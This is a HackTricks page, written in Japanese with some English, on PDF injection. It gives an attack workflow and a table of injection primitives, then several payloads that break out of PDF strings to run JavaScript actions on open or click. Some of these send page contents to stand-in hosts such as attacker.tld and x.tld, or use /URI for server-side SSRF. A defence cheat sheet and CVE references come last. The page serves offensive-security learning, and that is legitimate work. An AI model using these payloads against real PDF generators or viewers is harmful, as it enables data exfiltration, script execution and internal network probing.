PDF Injection
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
もし入力がPDFファイル内に反映されるなら、PDFデータを注入してJavaScriptを実行したり、SSRFを行ったり、PDFの内容を窃取したりできます。 PDFの構文は非常に寛容です — 入力を埋め込んでいる文字列や辞書から抜け出せるなら、完全に新しいオブジェクト(または同じオブジェクト内の新しいキー)を追記でき、Acrobat/Chromeはそれを喜んで解析します。 2024年以降、多数のバグバウンティ報告から、1つのエスケープされていない括弧またはバックスラッシュで十分にフルスクリプト実行が可能であることが示されています。
TL;DR – 現代の攻撃ワークフロー (2024-2026)
- 生成されたPDF内の**(parenthesis string)**、
/URI ( … )または/JS ( … )フィールドに入る、ユーザーが制御する値を見つける。 )(文字列を閉じる)を注入し、以下のプリミティブのいずれかを続け、構文を有効に保つために別の開き括弧で終える。- 悪意のあるPDFを被害者(またはファイルを自動的にレンダリングするバックエンドサービス — ブラインドバグに最適)に配布する。
- ペイロードがPDFビューアで実行される:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
最初の ) は元の URI 文字列を閉じ、次に Acrobat がリンクをクリックしたときに実行する新しい Action 辞書を追加します。
有用なインジェクションプリミティブ
| 目的 | Payload Snippet | 備考 |
|---|---|---|
| JavaScript(ドキュメントを開いたとき) | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | ドキュメントを開いたときに即座に実行されます(Acrobat では動作しますが、Chrome では動作しません)。 |
| JavaScript(リンクで実行) | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | /Link アノテーションを制御できる場合、PDFium と Acrobat で動作します。 |
| ブラインドデータの窃取 | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | JS 内で this.getPageNthWord と組み合わせてコンテンツを盗みます。 |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | 上記と同じですが、内部 URL をターゲットにします — PDF が /URI を尊重するバックオフィスサービスによってレンダリングされる場合に有効です。 |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | Page/Annotation/Form 辞書にアタッチして、開く/フォーカス時に実行します。 |
| 新しいオブジェクト用の改行 | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | ライブラリが改行文字の注入を許す場合、完全に新しいオブジェクトを作成できます。 |
埋め込みアクションを注入ターゲットとして扱う
PDF ビューアは、/OpenAction や /AA(Additional Actions)のような embedded actions を、ドキュメントのオープン時や特定のイベント発生時に実行できるファーストクラスの機能として扱います。もしアクションを受け付ける辞書(Catalog、Page、Annotation、または Form field)に注入できるなら、/AA ツリーを継ぎ接ぎして、開く/フォーカス時に JavaScript を起動できます。
Example payload for generator-side object injection (close the original string/dictionary and inject /AA):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
このパターンは、攻撃者が制御する入力が addJS(または特定の AcroForm フィールド)に渡され、意図した JavaScript 文字列から抜け出して Additional Action 辞書を注入してしまう、最近の jsPDF の問題に一致します。
Blind Enumeration Trick
Gareth Heyes (PortSwigger) は、未知のドキュメント内のすべてのオブジェクトを列挙するワンライナーを公開しました — 生成された PDF を確認できない場合に便利です:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
The code iterates over the Acrobat DOM and makes outbound requests for every property/value pair, giving you a JSON-ish dump of the file. See the white-paper “Portable Data exFiltration” for the full technique.
実際の脆弱性 (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: attacker-controlled strings can close the JS literal and inject/AA→/O→/JavaScriptactions that fire on open/focus. - CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 bypassed the sandbox with a crafted
/JavaScriptaction. - バグバウンティ 2024-05 – Major fintech allowed customer-supplied invoice notes that landed in
/URI; report paid $10k after demonstrated SSRF to internal metadata host usingfile:///URI. - CVE-2023-26155 –
node-qpdfcommand-injection via unsanitised PDF path shows the importance of escaping backslashes and parentheses even before the PDF layer.
防御チートシート
- Never concatenate raw user input inside
(…)strings or names. Escape\,(,)as required by §7.3 of the PDF spec or use hex strings<...>. - If you build links, prefer
/URI (https://…)that you fully URL-encode; blockjavascript:schemes in client viewers. - Strip or validate
/OpenAction,/AA(additional actions),/Launch,/SubmitFormand/ImportDatadictionaries when post-processing PDFs. - On the server side, render untrusted PDFs with a headless converter (e.g. qpdf –decrypt –linearize) that removes JavaScript and external actions.
- Keep PDF viewers up to date; PDF.js < 4.2.67 and Acrobat Reader before July 2024 patches allow trivial code execution.
- If you use client-side generators (e.g., jsPDF), never pass untrusted input into
addJSor AcroForm setters that end up inside PDF action dictionaries.
参考文献
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (Feb 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (Sep 2025) – 埋め込みアクション(OpenAction/AAなど)について. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


